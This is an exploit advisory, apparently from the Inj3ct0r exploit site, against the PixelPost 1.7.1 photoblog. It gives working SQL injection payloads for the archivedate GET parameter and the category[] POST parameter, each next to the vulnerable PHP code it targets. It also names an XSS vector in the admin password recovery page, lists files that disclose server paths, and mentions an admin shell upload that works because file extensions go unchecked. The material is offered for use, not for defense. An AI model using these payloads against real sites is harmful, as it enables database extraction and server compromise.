=========================================== PixelPost <= 1.7.1 SQL-Inj3ct0r/Xss Exploit =========================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 0 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1 #[+] Discovered By : Inj3ct0r #[+] Site : Inj3ct0r.com #[+] support e-mail : submit[at]inj3ct0r.com site: www.pixelpost.org product: PixelPost 1.7.1 download: http://www.pixelpost.org/releases/pixelpost_v1.7.1.zip ---------- № 1 ---------- SQL-Inj3ct0r Exploit: Dependence: magic_quotes = off index.php?x=browse&category=a&archivedate=1990-12%00')+UNION+SELECT+1,2,DATABASE(),4,5%20--%20 Vulnerable code: if(isset($_GET['category'])) { $pp_cat = addslashes($_GET['category']); }else{ $pp_cat = 0; } if(is_numeric($pp_cat) && $pp_cat != "") { [B].. вырезано ..[/B] } elseif(isset($_GET['archivedate']) && eregi("^[0-9]{4}-[0-9]{2}$", $_GET['archivedate'])) { $where = "AND (DATE_FORMAT(datetime, '%Y-%m')='".$_GET['archivedate']."')"; //DATE_FORMAT(foo, '%Y-%m-%d') $query = mysql_query("SELECT 1,id,{$headline_selection},image, datetime FROM ".$pixelpost_db_prefix."pixelpost WHERE (datetime<='$cdate') $where ORDER BY ".$cfgrow['display_sort_by']." ".$display_order); ---------- № 2 ---------- SQL-Inj3ct0r Exploit: Dependence: magic_quotes = off GET: index.php? X = browse & category = a & & POST: category []=') GROUP BY t2.id UNION SELECT 1,2,3, DATABASE (), 5 -- Vulnerable code: foreach( $_POST['category'] as $cat) { $cat = clean($cat); $where .= "t1.cat_id='$cat' OR "; $lookingfor++; } $where .= " 0)"; $querystr = "SELECT COUNT(t1.id), t2.id,{$headline_selection},image,datetime FROM {$pixelpost_db_prefix}catassoc AS t1 INNER JOIN {$pixelpost_db_prefix}pixelpost t2 ON t2.id = t1.image_id WHERE (datetime<='$cdate') AND $where GROUP BY t2.id ORDER BY ".$cfgrow['display_sort_by']." ".$display_order; ------------ Xss Exploit: ------------ Dependence: register_globals = on admin/pass_recovery.php?x=passreminder&admin_lang_pw_title= Password in a cookie pp_password, encrypted by the algorithm sha1(password.$_SERVER["REMOTE_ADDR"]), so the output aypi in sniffer required ---------------- Disclosure ways: ---------------- includes/addons_lib.php includes/functions_browse.php includes/functions_comments.php?x=save_comment (register_globals = on) includes/functions_feeds.php includes/markdown.php?wp_version=1 (register_globals = on) addons/admin_12CropImage.php addons/admin_ping.php?view=addons POST запрос > pinglistupdate=1&pinglist=1 addons/advanced_stat.php addons/calendar.php addons/copy_folder.php addons/paged_archive.php addons/_akismet/admin_akismet_comment.php addons/_akismet/front_akismet_comment.php Table Prefix by default - pixelpost_ Fill the shell is very simple - Admin does not check the expansion of the filling even the file ... ---------------------------------------------- ThE End =] Visit my proj3ct : http://inj3ct0r.com http://inj3ct0r.org http://inj3ct0r.net # ~ - [ [ : Inj3ct0r : ] ]